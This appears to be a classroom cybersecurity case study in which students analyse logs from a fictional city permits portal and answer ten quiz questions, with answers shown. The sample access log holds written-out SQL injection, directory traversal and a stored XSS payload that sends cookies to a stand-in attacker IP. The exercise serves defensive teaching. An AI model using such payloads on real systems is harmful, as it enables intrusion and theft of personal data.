Vantage City Case Files · Unit 5 boss level

Case 05: The Vantage City Permits Portal

Thursday 09:15. Residents report that the Vantage City building permits portal shows a strange pop-up, and a local news site claims it has a list of permit applicants’ home addresses. You are the application security analyst. Four pieces of evidence came off the portal’s web server, PERMITS-WEB (internet protocol (IP) address 10.60.4.10). You will meet structured query language (SQL), cross site scripting (XSS), the Advanced Encryption Standard (AES), the RSA algorithm, hypertext transfer protocol (HTTP) requests and Secure Hash Algorithm 256 (SHA-256) hashes. Work through ten questions to close the case.

10 questions · Analyze 4Mitigate 2Detect 4 About 20 min

The evidence

Evidence 1 Web application access log
PERMITS-WEB: access.log, Wednesday (user input decoded)
LineTimeSource IPRequestStatus
121:0210.60.7.31GET /permits?id=2026-0412200
221:40198.51.100.88GET /permits?id=2026-0412' OR 1=1 --200
321:41198.51.100.88GET /permits?id=0 UNION SELECT name, home_address FROM applicants200
421:55198.51.100.88GET /forms?file=../../../../srv/portal/config/db.conf200
522:10198.51.100.88POST /feedback msg=<script>document.location="//198.51.100.88/p?c="+document.cookie</script>201
622:1410.60.7.32GET /forms?file=fence-application.pdf200

HTTP status 200 means the server answered the request; 201 means something new was saved.

Evidence 2 File permissions
PERMITS-WEB: ls -l /srv/portal/config
PermissionsOwnerGroupFile
-rw-r--r--portaldevteamdb.conf (database username and password)
-rw-r-----portaldevteamapp.conf
-rwxr-x---portaldevteamrotate_logs.sh

The web application runs as the user portal. Only the devteam group should be able to read configuration files.

Evidence 3 File access log (accounting)
PERMITS-WEB: file-audit.log
TimeUserDeviceActionFile
10:20r.alvarezCITY-LAP-12open/permits/2026/0412.pdf
22:31svc_reportunknowncopy/exports/applicants_full.csv
22:33svc_reportunknownopen/exports/staff_bank_details.xlsx
22:40svc_reportunknowndelete/logs/access.log.1

staff_bank_details.xlsx is a honeypot: it holds fake data and no one has a reason to open it. svc_report normally runs a report at 06:00 from 10.60.4.10.

Evidence 4 Hash comparison
PERMITS-WEB: sha256sum, baseline last week vs today (shortened)
FileBaseline hashToday’s hash
index.php2c9e...41d72c9e...41d7
feedback.php7a0b...e3527a0b...e352
login.phpd41f...08ab93c6...7f12
applicants.db5be3...c9a05be3...c9a0

No updates were installed between the two hashes.

The questions

  1. Analyze E1 Choose one

    1. Lines 2 and 3 in Evidence 1 most likely show which attack, and which security goal did it breach?

    Lines 2 and 3 in Evidence 1 most likely show which attack, and which security goal did it breach?
    Show answer

    Answer: B. A quote, OR 1=1, the -- comment and SQL control words UNION, SELECT and FROM in user input are indicators of structured query language (SQL) injection. Returning applicants’ names and addresses is a breach of confidentiality. CED 5.1.B.4, 5.6.E.1

  2. Detect E1E2 Choose one

    2. Line 4 in Evidence 1 returned status 200. What does this most likely mean?

    Line 4 in Evidence 1 returned status 200. What does this most likely mean?
    Show answer

    Answer: C. The ../ sequences climb out of the forms folder to the config folder. Status 200 means the server answered. The application runs as portal, the owner of db.conf, so it could read the file and return it. CED 5.6.E.4

  3. Analyze E1 Choose one

    3. Which statement best describes line 5 in Evidence 1?

    Which statement best describes line 5 in Evidence 1?
    Show answer

    Answer: C. A script tag posted through a form and saved (201) is stored cross site scripting (XSS): it affects every user who loads the page, which explains the residents’ pop-up. CED 5.1.B.6, 5.6.E.2

  4. Mitigate E1 Choose one

    4. Which single change to the portal’s code would best help prevent the attacks in lines 2, 3, 4 and 5?

    Which single change to the portal’s code would best help prevent the attacks in lines 2, 3, 4 and 5?
    Show answer

    Answer: A. Input sanitization protects against SQL injection, XSS and directory traversal attacks. Encryption and honeypots do not stop the input from being processed. CED 5.5.B.1, 5.5.B.2

  5. Mitigate E2 Choose one

    5. Which command applies least privilege to db.conf while letting the owner read and write it and the devteam group read it?

    Which command applies least privilege to db.conf while letting the owner read and write it and the devteam group read it?
    Show answer

    Answer: B. Owner rw- (6), group r-- (4), others --- (0). The current 644 lets every other user read the database password. CED 5.2.D.6, 5.2.C.7

  6. Detect E3 Select all that apply

    6. Select every entry in Evidence 3 that is an indicator of an attack on data.

    Select every entry in Evidence 3 that is an indicator of an attack on data.
    Show answer

    Answer: B, C, D. Copying sensitive files outside the account’s normal time and device, opening the honeypot and deleting a log are all suspicious. r.alvarez opened one permit during the day on a city laptop. CED 5.6.A.1, 5.6.A.2

  7. Detect E4 Choose one

    7. Based on Evidence 4, which file was altered?

    Based on Evidence 4, which file was altered?
    Show answer

    Answer: C. Only login.php has a different hash, and no updates were installed, so it was altered between the two hashes. CED 5.6.D.3

  8. Analyze E3E4 Choose one

    8. The hash of applicants.db did not change, yet applicant data were stolen. Which of the following best explains this?

    The hash of applicants.db did not change, yet applicant data were stolen. Which of the following best explains this?
    Show answer

    Answer: C. Cryptographic hash functions only detect if data have been altered. Viewing or stealing data without altering them produces a false negative. CED 5.6.C.3

  9. Analyze E1 Choose one

    9. Applicants’ names and home addresses were exposed. How should the city classify these data?

    Applicants’ names and home addresses were exposed. How should the city classify these data?
    Show answer

    Answer: A. PII is any data that allows someone to be identified, including name and address. CED 5.2.A.3, 5.2.A.4

  10. Detect E3 Choose one

    10. The honeypot was opened at 22:33, but no one noticed until the news story the next morning. Which change would most help the city respond during the next attack?

    The honeypot was opened at 22:33, but no one noticed until the news story the next morning. Which change would most help the city respond during the next attack?
    Show answer

    Answer: C. Honeypots offer near instantaneous detection when they raise alerts, allowing a prompt response. Retrospective reviews and hash checks find attacks only after they occur. CED 5.6.C.1, 5.6.C.2

Was this page helpful?

Please do not include personal details. To get a reply, email [email protected].

Contents
↑ Top

Enlarged view of the selected figure